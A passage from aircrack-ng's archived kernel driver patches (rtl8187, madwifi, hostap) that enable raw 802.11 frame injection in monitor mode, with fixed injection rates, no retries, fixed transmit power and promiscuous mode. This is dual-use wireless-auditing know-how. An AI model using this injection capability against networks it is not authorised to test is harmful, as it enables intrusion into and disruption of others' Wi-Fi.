$(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-rc4/patches/old/madwifi-cvs-20050707.patch0000644000000000000000000001307110761053203021261 0ustar rootrootdiff -ur ../madwifi-cvs-20050707/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20050707/ath/if_ath.c 2005-06-25 02:35:12.000000000 +0200 +++ ./ath/if_ath.c 2005-07-30 00:27:46.000000000 +0200 @@ -1117,7 +1117,8 @@ /* * Encapsulate the packet for transmission. */ - skb = ieee80211_encap(ic, skb, &ni); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + skb = ieee80211_encap(ic, skb, &ni); if (skb == NULL) { DPRINTF(sc, ATH_DEBUG_XMIT, "%s: discard, encapsulation failure\n", __func__); @@ -2830,7 +2831,7 @@ struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; int iswep, ismcast, keyix, hdrlen, pktlen, try0; - u_int8_t rix, txrate, ctsrate; + u_int8_t rix = 0, txrate, ctsrate; u_int8_t cix = 0xff; /* NB: silence compiler */ struct ath_desc *ds; struct ath_txq *txq; @@ -2847,7 +2848,7 @@ hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len; - if (iswep) { + if (iswep && ic->ic_opmode != IEEE80211_M_MONITOR) { const struct ieee80211_cipher *cip; struct ieee80211_key *k; @@ -2909,7 +2910,7 @@ * use short preamble based on the current mode and * negotiated parameters. */ - if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && + if ((ic->ic_flags & IEEE80211_F_SHPREAMBLE) && ni != NULL && (ni->ni_capinfo & IEEE80211_CAPINFO_SHORT_PREAMBLE)) { shortPreamble = AH_TRUE; sc->sc_stats.ast_tx_shortpre++; @@ -2924,6 +2925,11 @@ */ switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) { case IEEE80211_FC0_TYPE_MGT: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } subtype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (subtype == IEEE80211_FC0_SUBTYPE_BEACON) atype = HAL_PKT_TYPE_BEACON; @@ -2943,6 +2949,11 @@ txq = sc->sc_ac2q[WME_AC_VO]; break; case IEEE80211_FC0_TYPE_CTL: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } atype = HAL_PKT_TYPE_PSPOLL; /* stop setting of duration */ rix = 0; /* XXX lowest rate */ try0 = ATH_TXMAXTRY; @@ -2958,8 +2969,9 @@ /* * Data frames; consult the rate control module. */ - ath_rate_findrate(sc, an, shortPreamble, skb->len, - &rix, &try0, &txrate); + if (ic->ic_opmode != IEEE80211_M_MONITOR) + ath_rate_findrate(sc, an, shortPreamble, skb->len, + &rix, &try0, &txrate); /* * Default all non-QoS traffic to the background queue. */ @@ -2970,6 +2982,11 @@ txq = sc->sc_ac2q[WME_AC_BK]; break; default: + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + atype = HAL_PKT_TYPE_NORMAL; + txq = sc->sc_ac2q[skb->priority]; + break; + } printk("%s: bogus frame type 0x%x (%s)\n", dev->name, wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK, __func__); /* XXX statistic */ @@ -3092,6 +3109,17 @@ txq->axq_intrcnt = 0; } + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int i; + try0 = 1; /* no retransmissions */ + txrate = 0; + rt = sc->sc_rates[IEEE80211_MODE_11G]; + for (i = 0; i < rt->rateCount; i++) { + if (rt->info[i].rateKbps == ic->inject_rate) + txrate = rt->info[i].rateCode; + } + } + /* * Formulate first tx descriptor with tx controls. */ @@ -3100,7 +3128,7 @@ , pktlen /* packet length */ , hdrlen /* header length */ , atype /* Atheros packet type */ - , MIN(ni->ni_txpower,60)/* txpower */ + , 60 /* txpower */ , txrate, try0 /* series 0 rate/tries */ , keyix /* key cache index */ , sc->sc_txantenna /* antenna mode */ @@ -3115,7 +3143,7 @@ * when the hardware supports multi-rate retry and * we don't use it. */ - if (try0 != ATH_TXMAXTRY) + if (try0 != ATH_TXMAXTRY && ic->ic_opmode != IEEE80211_M_MONITOR) ath_rate_setupxtxdesc(sc, an, ds, shortPreamble, rix); ds->ds_link = 0; Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20050707/net80211/ieee80211_var.h 2005-02-16 17:09:03.000000000 +0100 +++ ./net80211/ieee80211_var.h 2005-07-29 22:43:08.000000000 +0200 @@ -307,6 +307,8 @@ */ const struct ieee80211_aclator *ic_acl; void *ic_as; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c ./net80211/ieee80211_wireless.c --- ../madwifi-cvs-20050707/net80211/ieee80211_wireless.c 2005-03-07 17:35:09.000000000 +0100 +++ ./net80211/ieee80211_wireless.c 2005-07-29 22:50:42.000000000 +0200 @@ -328,6 +328,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -354,6 +366,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -782,6 +799,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M DSSS */ break; #endif default: aircrack-ng-1.2-rc4/patches/old/hostap-kernel-2.6.16.patch0000644000000000000000000004213710761053203021457 0ustar rootrootdiff -ur hostap/hostap_80211_tx.c hostap-aircrack-ng/hostap_80211_tx.c --- hostap/hostap_80211_tx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_80211_tx.c 2006-04-02 00:32:25.000000000 -0500 @@ -69,6 +69,9 @@ iface = netdev_priv(dev); local = iface->local; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -234,6 +237,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -404,8 +408,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap/hostap_cs.c hostap-aircrack-ng/hostap_cs.c --- hostap/hostap_cs.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_cs.c 2006-04-02 00:53:07.000000000 -0500 @@ -872,58 +872,105 @@ } static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "INTERSIL", 0x74c5e40d), PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "Intersil", 0x4b801a17), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", - 0x2decece3, 0x82067c18), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur hostap/hostap_hw.c hostap-aircrack-ng/hostap_hw.c --- hostap/hostap_hw.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_hw.c 2006-04-02 00:32:25.000000000 -0500 @@ -1006,6 +1006,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1032,6 +1061,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1464,6 +1497,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3146,6 +3183,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur hostap/hostap_ioctl.c hostap-aircrack-ng/hostap_ioctl.c --- hostap/hostap_ioctl.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_ioctl.c 2006-04-02 00:32:25.000000000 -0500 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur hostap/hostap_main.c hostap-aircrack-ng/hostap_main.c --- hostap/hostap_main.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_main.c 2006-04-02 00:32:25.000000000 -0500 @@ -332,7 +332,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap/hostap_pci.c hostap/hostap_pci.c --- hostap/hostap_pci.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_pci.c 2006-04-02 00:32:25.000000000 -0500 @@ -49,6 +49,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur hostap/hostap_plx.c hostap/hostap_plx.c --- hostap/hostap_plx.c 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_plx.c 2006-04-02 00:32:25.000000000 -0500 @@ -100,6 +100,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur hostap/hostap_wlan.h hostap/hostap_wlan.h --- hostap/hostap_wlan.h 2006-03-29 01:25:40.000000000 -0500 +++ hostap-aircrack-ng/hostap_wlan.h 2006-04-02 00:32:25.000000000 